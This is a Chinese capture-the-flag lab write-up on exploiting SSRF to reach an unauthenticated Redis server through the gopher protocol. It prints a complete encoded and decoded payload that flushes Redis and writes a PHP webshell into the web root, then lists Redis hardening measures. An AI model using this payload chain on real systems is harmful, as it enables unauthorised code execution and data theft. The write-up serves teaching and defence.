【题目考查的技术点】
-
SSRF
-
redis未授权访问
-
SSRF攻击内网主机上的redis
1.部署web-ssrf
解压后有docker-compose.yml文件:
直接部署即可:
docker-compose up -d
部署后有两个容器:
- ctf/ssrfme是apache服务器
- web-ssrfme_redis是redis数据库
访问8091端口 :
可以通过get传参"info"获取服务器信息:
获得信息:服务器的内网ip地址是172.19.0.2,可以通过传参url,访问该服务器下的其他站点。
可以通过url传参访问内网资源。
2.利用 SSRF 扫描内网 IP 段及端口
使用Yakit的Fuzztag功能
插入数字:
扫描172.19.0.1-172.19.0.255 这个网段,看是否还有其他服务器:
发现还有172.19.0.3服务器
扫描端口 :
发现还有一个6379的开放端口
测试端口:返回的是一个redis数据库的报错
3.使用Gopherus生成shell.php
Gophersus:自动生成已编码的 Redis 攻击 Payload
部署方式:
部署时需要python2,这是python的老版本了,版本较高的Ubuntu(测试时用的20.0.4) 不会自带python2,用python3不兼容。
使用清华源时无法访问,临时改成阿里云的源
切换为阿里云的源,并更新缓存:
sudo sed -i 's|mirrors.tuna.tsinghua.edu.cn|archive.ubuntu.com|g' /etc/apt/sources.list
sudo apt-get update
安装python2
apt install python2
安装完成后查看版本
启动Gopherus并构造shell.php:
由于在浏览器和redis中,都会进行一次URL解码
4.利用Gopher协议访问redis
Gopher协议简介:
Gopher 是一种早期的 互联网信息检索协议,诞生于 1991 年(比 HTTP 更早),由明尼苏达大学开发。它的设计目标是 以层级菜单形式组织资源,类似“文件目录”的浏览方式,适合在低带宽环境下高效传输文本信息。尽管现在已被 HTTP 取代,但在某些场景(如网络安全测试)中仍有应用。
Gopher 协议发送 HTTP 请求:
- 将换行符替换为 %0D%0A
- 空格替换为 %20
- 其他特殊字符也需编码
写入shell
尝试写入html目录中:
页面一直在加载,说明payload成功运转。
访问shell.php:
发现没有找到shell.php
考虑是否有其他目录能写入。
用字典遍历目录:
目录字典地址: 目录字典github
发现html下还有一个目录为upload:
构造upload目录下的payload:
gopher%3A%2F%2F172%2E19%2E0%2E3%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2522cat%2520%2Fflag%2522%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
解码结果:
gopher://172.19.0.3:6379/_*1
$8
flushall #清空 Redis 所有数据库
*3
$3
set
$1
1
$32
<?php system("cat /flag");?> #落盘内容
*4
$6
config
$3
set
$3
dir
$13
/var/www/html #将Redis 持久化目录改为 /var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php #将持久化文件名设为 shell.php
*1
$4
save #触发持久化
尝试写入该目录下:一直在加载状态
访问shell.php
成功获得flag。
总结:
技术点:
-
SSRF 漏洞:利用 Web 服务的参数(如
url
)访问内网资源。 -
Redis 未授权访问:Redis 无密码且暴露内网端口,允许直接执行命令。
-
Gopher 协议:通过 TCP 隧道发送原始 Redis 命令(需手动构造 RESP 协议格式)。
-
持久化攻击:篡改 Redis 配置,将数据保存为 Web 可访问的 PHP 文件
漏洞利用条件:
-
Redis 未设置密码且允许外网访问。
-
Redis 运行用户有权限写入 Web 目录。
-
存在 SSRF 漏洞或可发送 Gopher 请求。
防御措施:
1.Redis 安全配置:
# redis.conf
bind 127.0.0.1 # 仅允许本地访问
requirepass yourpassword # 设置密码
rename-command FLUSHALL "" # 禁用高危命令
rename-command CONFIG ""
2.文件权限控制:
-
禁止 Redis 运行用户写入 Web 目录。
-
设置 Web 目录不可执行 PHP:
location ~ /.*\.php$ { deny all; }
3.网络隔离:
-
Redis 不暴露在公网。
-
使用防火墙限制访问来源 IP。